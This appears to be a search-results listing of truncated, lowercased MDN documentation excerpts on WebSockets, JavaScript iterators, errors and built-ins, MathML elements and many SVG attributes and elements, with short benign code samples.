...for example, opening a websocket connection is as simple as: websocket = new websocket("ws://destination.server.ext", "optionalprotocol"); the websocket() constructor does all the work of creating an initial http/1.1 connection then handling the handshaking and upgrade process for you.
...after creating the initial http/1.1 session, you need to request the upgrade by adding to a standard request the upgrade and connection headers, as follows: connection: upgrade upgrade: websocket websocket-specific headers the following headers are involved in the websocket upgrade process.
... sec-websocket-accept included in the response message from the server during the opening handshake process when the server is willing to initiate a websocket connection.
Iterators and generators - JavaScript
because of this, iterators can express sequences of unlimited size, such as the range of integers between 0 and infinity.
... function makerangeiterator(start = 0, end = infinity, step = 1) { let nextindex = start; let iterationcount = 0; const rangeiterator = { next: function() { let result; if (nextindex < end) { result = { value: nextindex, done: false } nextindex += step; iterationcount++; return result; } return { value: iterationcount, done: true } } }; return rangeiterator; } using th...
... when called, generator functions do not initially execute their code.
... 'c']) { console.log(value); } // "a" // "b" // "c" [...'abc']; // ["a", "b", "c"] function* gen() { yield* ['a', 'b', 'c']; } gen().next(); // { value: "a", done: false } [a, b, c] = new set(['a', 'b', 'c']); a; // "a" advanced generators generators compute their yielded values on demand, which allows them to efficiently represent sequences that are expensive to compute (or even infinite sequences, as demonstrated above).
SyntaxError: missing = in const declaration - JavaScript
message syntaxerror: const must be initalized (edge) syntaxerror: missing = in const declaration (firefox) syntaxerror: missing initializer in const declaration (chrome) error type syntaxerror what went wrong?
...an initializer for a constant is required; that is, you must specify its value in the same statement in which it's declared (which makes sense, given that it can't be changed later).
... examples missing const initializer unlike var or let, you must specify a value for a const declaration.
...both don't require an initial value.
InternalError: too much recursion - JavaScript
both execute the same code multiple times, and both require a condition (to avoid an infinite loop, or rather, infinite recursion in this case).
...as there is no exit condition, the function will call itself infinitely.
...this causes the function to call itself, again and again, making it infinitely recursive.
... get name(){ return this.name; // recursive call } to avoid this problem, make sure that the property being assigned to inside the setter function is different from the one that initially triggered the setter.the same goes for the getter.
Rest parameters - JavaScript
the rest parameter syntax allows us to represent an indefinite number of arguments as an array.
... // using the same function definition from example above myfun("one", "two", "three") // a, one // b, two // manymoreargs, [three] below, the third argument isn't provided, but manymoreargs is still an array (albeit an empty one).
... // using the same function definition from example above myfun("one", "two") // a, one // b, two // manymoreargs, [] argument length since theargs is an array, a count of its elements is given by the length property: function fun1(...theargs) { console.log(theargs.length) } fun1() // 0 fun1(5) // 1 fun1(5, 6, 7) // 3 ordinary parameter and rest parameters in the next example, a rest parameter is used to collect all parameters after the first into an array.
... function sortarguments() { let args = array.from(arguments) let sortedargs = args.sort() return sortedargs } console.log(sortarguments(5, 3, 7, 1)) // 1, 3, 5, 7 specifications specification ecmascript (ecma-262)the definition of 'function definitions' in that specification.
Function.name - JavaScript
above class definition in es2015 syntax will behave in chrome or firefox similar to the following snippet in es5 syntax: function foo() {} object.defineproperty(foo, 'name', { writable: true }); foo.name = function() {}; trying to obtain the class of fooinstance via fooinstance.constructor.name won't give us the class name at all but a reference to the static class method.
... example: let fooinstance = new foo(); console.log(fooinstance.constructor.name); // logs function name() you may also see from the es5 syntax example that in chrome or firefox our static definition of foo.name becomes writable.
... the built-in definition in the absence of a custom static definition is read-only: foo.name = 'hello'; console.log(foo.name); // logs "hello" if class foo has a static name() property but "foo" if not.
... let sym1 = symbol("foo"); let sym2 = symbol(); let o = { [sym1]: function(){}, [sym2]: function(){} }; o[sym1].name; // "[foo]" o[sym2].name; // "" specifications specification ecmascript (ecma-262)the definition of 'name' in that specification.
Promise - JavaScript
a promise is in one of these states: pending: initial state, neither fulfilled nor rejected.
...upon provision of an initial promise, a chain of promises can follow.
...in this example, the promise chain is initiated by a custom written new promise() construct; but in actual practice, promise chains more typically start with an api function (written by someone else) that returns a promise.
... specifications specification ecmascript (ecma-262)the definition of 'promise' in that specification.
handler.construct() - JavaScript
in order for the new operation to be valid on the resulting proxy object, the target used to initialize the proxy must itself have a [[construct]] internal method (i.e.
... const p = new proxy(function() {}, { construct: function(target, argumentslist, newtarget) { return 1; } }); new p(); // typeerror is thrown the following code improperly initializes the proxy.
... the target in proxy initialization must itself be a valid constructor for the new operator.
... const p = new proxy({}, { construct: function(target, argumentslist, newtarget) { return {}; } }); new p(); // typeerror is thrown, "p" is not a constructor specifications specification ecmascript (ecma-262)the definition of '[[construct]]' in that specification.
String.prototype.match() - JavaScript
infinity contains -infinity and +infinity in javascript.", str2 = "my grandfather is 65 years old and my grandmother is 63 years old.", str3 = "the contract was declared null and void."; str1.match("number"); // "number" is a string.
...returns ["nan"] str1.match(infinity); // the type of infinity is the number.
... returns ["infinity"] str1.match(+infinity); // returns ["infinity"] str1.match(-infinity); // returns ["-infinity"] str2.match(65); // returns ["65"] str2.match(+65); // a number with a positive sign.
... returns ["65"] str3.match(null); // returns ["null"] specifications specification ecmascript (ecma-262)the definition of 'string.prototype.match' in that specification.
String.prototype.repeat() - JavaScript
syntax str.repeat(count) parameters count an integer between 0 and +infinity, indicating the number of times to repeat the string.
... rangeerror: repeat count must be less than infinity and not overflow maximum string size.
... count = +count; // check nan if (count != count) count = 0; if (count < 0) throw new rangeerror('repeat count must be non-negative'); if (count == infinity) throw new rangeerror('repeat count must be less than infinity'); count = math.floor(count); if (str.length == 0 || count == 0) return ''; // ensuring count is a 31-bit integer allows us to heavily optimize the // main part.
...angeerror 'abc'.repeat(0) // '' 'abc'.repeat(1) // 'abc' 'abc'.repeat(2) // 'abcabc' 'abc'.repeat(3.5) // 'abcabcabc' (count will be converted to integer) 'abc'.repeat(1/0) // rangeerror ({ tostring: () => 'abc', repeat: string.prototype.repeat }).repeat(2) // 'abcabc' (repeat() is a generic method) specifications specification ecmascript (ecma-262)the definition of 'string.prototype.repeat' in that specification.
WebAssembly.Memory - JavaScript
the following example creates a new webassembly memory instance with an initial size of 10 pages (640kib), and a maximum size of 100 pages (6.4mib).
... var memory = new webassembly.memory({initial:10, maximum:100}); the second way to get a webassembly.memory object is to have it exported by a webassembly module.
...you can create a shared memory by passing shared: true in the constructor's initialization object: let memory = new webassembly.memory({initial:10, maximum:100, shared: true}); this memory's buffer property will return a sharedarraybuffer.
... specifications specification webassembly javascript interfacethe definition of 'memory' in that specification.
this - JavaScript
derived classes unlike base class constructors, derived constructors have no initial this binding.
...when the returned function (function b) is called, its this will always be what it was set to initially.
...in the previous example, we defined the function inline as the f member during the definition of o.
... specifications specification ecmascript (ecma-262)the definition of 'the this keyword' in that specification.
<ms> - MathML
WebMathMLElementms
the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال rquote the closing quote mark (depends on dir) to enclose the content.
... examples <math> <ms lquote="„" rquote="“"> abc </ms> </math> specifications specification status comment mathml 3.0the definition of 'ms' in that specification.
... recommendation current specification mathml 2.0the definition of 'ms' in that specification.
... recommendation initial specification ...
<semantics> - MathML
attributes the following attributes can be set on <annotation> and <annotation-xml>: definitionurl the location of the annotation key symbol.
...</cn> </apply> <ci>y</ci> </apply> </annotation-xml> <!-- annotate an image --> <annotation encoding="image/png" src="some/path/formula.png"/> <!-- annotate tex --> <annotation encoding="application/x-tex"> x^{2} + y </annotation> </semantics> </math> specifications specification status comment mathml 3.0the definition of 'mixing markup languages for mathematical expressions' in that specification.
... recommendation current specification mathml 2.0the definition of 'combining presentation and content markup ' in that specification.
... recommendation initial specification ...
Progressive web app structure - Progressive web apps (PWAs)
client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning.
... the website is slower on an initial visit, but can be faster to navigate.
...ml lang="en"> <head> <meta charset="utf-8"> <title>js13kgames a-frame entries</title> <meta name="description" content="a list of a-frame entries submitted to the js13kgames 2017 competition, used as an example for the mdn articles about progressive web apps."> <meta name="author" content="end3r"> <meta name="theme-color" content="#b12a34"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta property="og:image" content="icons/icon-512.png"> <link rel="shortcut icon" href="favicon.ico"> <link rel="stylesheet" href="style.css"> <link rel="manifest" href="js13kpwa.webmanifest"> <script src="data/games.js" defer></script> <script src="app.js" defer></script> </head> <body> <header> <p><a class="logo" href="http://js13kgames.com"><img src="img/js13kgames.png" alt...
... </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com">andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains some basic info like title, description and links to css, web manifest, games content js file, and app.js — that's where our javascript application is initialized.
attributeName - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name> this value indicates the name of the css property or attribute of the target element to be animated.
... specifications specification status comment svg animations level 2the definition of 'attributename' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'attributename' in that specification.
... recommendation initial definition ...
direction - SVG: Scalable Vector Graphics
//www.w3.org/2000/svg" direction="rtl" lang="fa"> <text x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr animatable yes specifications specification status comment css writing modes module level 3the definition of 'direction' in that specification.
... proposed recommendation definition in css scalable vector graphics (svg) 2the definition of 'direction' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'direction' in that specification.
... recommendation initial definition ...
edgeMode - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'edgemode for <fegaussianblur>' in that specification.
... working draft initial definition for <fegaussianblur> filter effects module level 1the definition of 'edgemode for <feconvolvematrix>' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'edgemode for <feconvolvematrix>' in that specification.
... recommendation initial definition for <feconvolvematrix> ...
flood-opacity - SVG: Scalable Vector Graphics
00"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" flood-opacity="0.3" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood2); transform: translatex(220px);" /> </svg> usage notes value <alpha-value> initial value 1 animatable yes <alpha-value> a number or percentage indicating the opacity value to use across the current filter primitive subregion.
... specifications specification status comment filter effects module level 1the definition of 'flood-opacity' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'flood-opacity' in that specification.
... recommendation initial definition ...
font-family - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'generic font families' in that specification.
... css fonts module level 3the definition of 'font-family' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
font-stretch - SVG: Scalable Vector Graphics
notes value <font-stretch-absolute>where <font-stretch-absolute> = normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | <percentage> default value normal animatable yes specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
... css fonts module level 3the definition of 'font-stretch' in that specification.
... candidate recommendation initial definition of font-stretch in css fonts scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-stretch' in that specification.
... recommendation initial definition ...
font-style - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
... working draft no change css fonts module level 3the definition of 'font-style' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-style' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
font-variant - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'font-variant' in that specification.
... working draft no change css fonts module level 3the definition of 'font-variant' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-variant' in that specification.
... recommendation initial definition ...
font-weight - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification.
... css fonts module level 3the definition of 'font-weight' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-weight' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
from - SVG: Scalable Vector Graphics
WebSVGAttributefrom
the from attribute indicates the initial value of the attribute that will be modified during the animation.
... specifications specification status comment svg animations level 2the definition of 'from' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'from' in that specification.
... recommendation initial definition ...
image-rendering - SVG: Scalable Vector Graphics
specifications specification status comment css images module level 3the definition of 'image-rendering' in that specification.
... candidate recommendation definition in css scalable vector graphics (svg) 2the definition of 'image-rendering' in that specification.
... candidate recommendation no significant change, only added a reference to css images 3 scalable vector graphics (svg) 1.1 (second edition)the definition of 'image-rendering' in that specification.
... recommendation initial definition ...
keyPoints - SVG: Scalable Vector Graphics
lns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="motionpath"/> <circle cx="10" cy="110" r="3" fill="lightgrey"/> <circle cx="110" cy="10" r="3" fill="lightgrey"/> <circle r="5" fill="red"> <animatemotion dur="3s" repeatcount="indefinite" keypoints="0;0.5;1" keytimes="0;0.15;1" calcmode="linear"> <mpath xlink:href="#motionpath"/> </animatemotion> </circle> </svg> usage notes value <number> [; <number>]* ;?
... specifications specification status comment svg animations level 2the definition of 'keypoints' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'keypoints' in that specification.
... recommendation initial definition ...
keySplines - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <animate attributename="cy" dur="4s" calcmode="spline" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <...
... specifications specification status comment svg animations level 2the definition of 'keysplines' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'keysplines' in that specification.
... recommendation initial definition ...
letter-spacing - SVG: Scalable Vector Graphics
specifications specification status comment css text module level 3the definition of 'letter-spacing' in that specification.
... working draft svg 2 just refers to the definition in css text 3.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'letter-spacing' in that specification.
... recommendation initial definition ...
max - SVG: Scalable Vector Graphics
WebSVGAttributemax
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" max="6s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specifies t...
... specifications specification status comment svg animations level 2the definition of 'max' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'max' in that specification.
... recommendation initial definition ...
media - SVG: Scalable Vector Graphics
WebSVGAttributemedia
specifications specification status comment scalable vector graphics (svg) 2the definition of 'media' in that specification.
... candidate recommendation changed the value definition from different media types as defined in css 2 to <media-query-list>.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'media' in that specification.
... recommendation initial definition ...
min - SVG: Scalable Vector Graphics
WebSVGAttributemin
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" min="2s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies the ...
... specifications specification status comment svg animations level 2the definition of 'min' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'min' in that specification.
... recommendation initial definition ...
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
specifications specification status comment scalable vector graphics (svg) 2the definition of 'path for <textpath>' in that specification.
... candidate recommendation initial definition for <textpath> svg animations level 2the definition of 'path for <animatemotion>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'path for <animatemotion>' in that specification.
... recommendation initial definition for <animatemotion> ...
pointsAtZ - SVG: Scalable Vector Graphics
the pointsatz attribute represents the y location in the coordinate system established by attribute primitiveunits on the <filter> element of the point at which the light source is pointing, assuming that, in the initial local coordinate system, the positive z-axis comes out towards the person viewing the content and assuming that one unit along the z-axis equals one unit in x and y.
...y="0" width="200" height="200" style="filter: url(#lighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#lighting2); transform: translatex(220px);" /> </svg> usage notes default value 0 value <number> animatable yes specifications specification status comment filter effects module level 1the definition of 'pointsatz' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointsatz' in that specification.
... recommendation initial definition ...
preserveAspectRatio - SVG: Scalable Vector Graphics
default value xmidymid meet animatable yes specification specification status comment filter effects module level 1the definition of 'preserveaspectratio' in that specification.
... working draft scalable vector graphics (svg) 2the definition of 'preserveaspectratio' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'preserveaspectratio' in that specification.
... recommendation initial definition ...
refX - SVG: Scalable Vector Graphics
WebSVGAttributerefX
specifications specification status comment scalable vector graphics (svg) 2the definition of 'refx' in that specification.
... scalable vector graphics (svg) 2the definition of 'refx' in that specification.
... candidate recommendation initial definition for <symbol> scalable vector graphics (svg) 1.1 (second edition)the definition of 'refx' in that specification.
... recommendation initial definition for <marker> ...
refY - SVG: Scalable Vector Graphics
WebSVGAttributerefY
specifications specification status comment scalable vector graphics (svg) 2the definition of 'refy' in that specification.
... scalable vector graphics (svg) 2the definition of 'refy' in that specification.
... candidate recommendation initial definition for <symbol> scalable vector graphics (svg) 1.1 (second edition)the definition of 'refy' in that specification.
... recommendation initial definition for <marker> ...
rotate - SVG: Scalable Vector Graphics
WebSVGAttributerotate
000/svg"> <!-- draw the outline of the motion path in grey --> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="themotionpath"/> <!-- red arrow which will not rotate --> <path fill="red" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="0"> <mpath href="#themotionpath"/> </animatemotion> </path> <g transform="translate(100, 0)"> <use href="#themotionpath"/> <!-- green arrow which will rotate along the motion path --> <path fill="green" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto"> <mpath href=...
..."#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(200, 0)"> <use href="#themotionpath"/> <!-- blue arrow which will rotate backwards along the motion path --> <path fill="blue" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto-reverse"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(300, 0)"> <use href="#themotionpath"/> <!-- purple arrow which will have a static rotation of 210 degrees --> <path fill="purple" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="210"> <mpath href="#themotionpath"/> </ani...
...matemotion> </path> </g> </svg> result specifications specification status comment svg animations level 2the definition of 'rotate' in that specification.
... editor's draft initial definition ...
rx - SVG: Scalable Vector Graphics
WebSVGAttributerx
specifications specification status comment scalable vector graphics (svg) 2the definition of 'rx' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification.
... recommendation initial definition for <ellipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification.
... recommendation initial definition for <rect> ...
ry - SVG: Scalable Vector Graphics
WebSVGAttributery
specifications specification status comment scalable vector graphics (svg) 2the definition of 'ry' in that specification.
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification.
... recommendation initial definition for <ellipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification.
... recommendation initial definition for <rect> ...
startOffset - SVG: Scalable Vector Graphics
the startoffset attribute defines an offset from the start of the path for the initial current text position along the path after converting the path to the <textpath> element's coordinate system.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'startoffset' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'startoffset' in that specification.
... recommendation initial definition ...
stop-opacity - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'stop-opacity' in that specification.
... candidate recommendation refers to the definition in css colors 3, but allows percentage values.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'stop-opacity' in that specification.
... recommendation initial definition ...
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
een" /> <stop offset="100%" stop-color="white" /> </lineargradient> </defs> <circle cx="15" cy="5" r="4" fill="none" stroke="url(#mygradient)" /> </svg> usage notes value <paint> default value none animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'stroke' in that specification.
... candidate recommendation definition for shapes and texts.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke' in that specification.
... recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data.
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
note: this value was never well implemented, and the distinction between _replace and _self has been made redundant by changes in the html definition of browsing contexts.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'target' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'target' in that specification.
... recommendation initial definition ...
visibility - SVG: Scalable Vector Graphics
.invisible { visibility: hidden; } javascript document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (revision 1)the definition of 'visibility' in that specification.
... recommendation css definition of the property scalable vector graphics (svg) 2the definition of 'visibility' in that specification.
... candidate recommendation mainly refers to css 2.1 scalable vector graphics (svg) 1.1 (second edition)the definition of 'visibility' in that specification.
... recommendation initial definition ...
word-spacing - SVG: Scalable Vector Graphics
specifications specification status comment css text module level 3the definition of 'word-spacing' in that specification.
... working draft svg 2 just refers to the definition in css text 3.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'word-spacing' in that specification.
... recommendation initial definition ...
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <rect width="10" height="10"> <animate attributename="rx" values="0;5;0" dur="10s" repeatcount="indefinite" /> </rect> </svg> attributes animation attributes animation timing attributes begin, dur, end, min, max, restart, repeatcount, repeatdur, fill animation value attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event ...
... safer web animation for motion sensitivity · an a list apart article an introduction to the reduced motion media query | css-tricks responsive design for motion | webkit mdn understanding wcag, guideline 2.2 explanations understanding success criterion 2.2.2 | w3c understanding wcag 2.0 specifications specification status comment svg animations level 2the definition of '<animate>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animate>' in that specification.
... recommendation initial definition ...
<animateMotion> - SVG: Scalable Vector Graphics
html,body,svg { height:100%; margin: 0; padding: 0; display:block; } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="lightgrey" d="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> <circle r="5" fill="red"> <animatemotion dur="10s" repeatcount="indefinite" path="m20,50 c20,-50 180,150 180,50 c180-50 20,150 20,50 z" /> </circle> </svg> usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<mpath> attributes keypoints this attribute indicate, in the range [0,1], how far is the object along the path for each keytimes associated values.
... specifications specification status comment svg animations level 2the definition of '<animatemotion>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatemotion>' in that specification.
... recommendation initial definition ...
<animateTransform> - SVG: Scalable Vector Graphics
ox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <polygon points="60,30 90,90 30,90"> <animatetransform attributename="transform" attributetype="xml" type="rotate" from="0 60 70" to="360 60 70" dur="10s" repeatcount="indefinite"/> </polygon> </svg> live sample attributes global attributes conditional processing attributes » core attributes » animation event attributes » xlink attributes » animation attribute target attributes » animation timing attributes » animation value attributes » animation addition attributes » externalresourcesrequired specific attributes by from to type dom...
... specifications specification status comment svg animations level 2the definition of '<animatetransform>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<animatetransform>' in that specification.
... recommendation initial definition ...
<clipPath> - SVG: Scalable Vector Graphics
WebSVGElementclipPath
*/ @keyframes openyourheart {from {r: 0} to {r: 60px}} #myclip circle { animation: openyourheart 15s infinite; } a clipping path is conceptually equivalent to a custom viewport for the referencing element.
...ashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<text>, <use> specifications specification status comment css masking module level 1the definition of '<clippath>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<clippath>' in that specification.
... recommendation initial definition ...
<cursor> - SVG: Scalable Vector Graphics
WebSVGElementcursor
if a different image format is used, this format should support the definition of a transparency mask (two options: provide an explicit alpha channel or use a particular pixel color to indicate transparency).
... specifications specification status comment scalable vector graphics (svg) 2the definition of '<cursor>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<cursor>' in that specification.
... recommendation initial definition ...
<feSpecularLighting> - SVG: Scalable Vector Graphics
the filter primitive assumes that the viewer is at infinity in the z direction.
...lor="#bbbbbb"> <fepointlight x="50" y="75" z="200"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> <circle cx="110" cy="110" r="100" style="filter:url(#filter)"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespecularlighting>' in that specification.
... scalable vector graphics (svg) 1.1 (second edition)the definition of '<fespecularlighting>' in that specification.
... recommendation initial definition ...
<mpath> - SVG: Scalable Vector Graphics
WebSVGElementmpath
the <mpath> sub-element for the <animatemotion> element provides the ability to reference an external <path> element as the definition of a motion path.
...--> <path d="m-25,-12.5 l25,-12.5 l 0,-87.5 z" fill="yellow" stroke="red" stroke-width="7.06" > <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto" > <mpath xlink:href="#path1"/> </animatemotion> </path> </svg> result specifications specification status comment svg animations level 2the definition of '<mpath>' in that specification.
... editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<mpath>' in that specification.
... recommendation initial definition ...
<path> - SVG: Scalable Vector Graphics
WebSVGElementpath
a-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status comment svg pathsthe definition of '<path>' in that specification.
... working draft scalable vector graphics (svg) 2the definition of '<path>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<path>' in that specification.
... recommendation initial definition ...
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
patterntransform this attribute contains the definition of an optional additional transformation from the pattern coordinate system onto the target coordinate system.
...any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment scalable vector graphics (svg) 2the definition of '<pattern>' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<pattern>' in that specification.
... recommendation initial definition ...
Using custom elements - Web Components
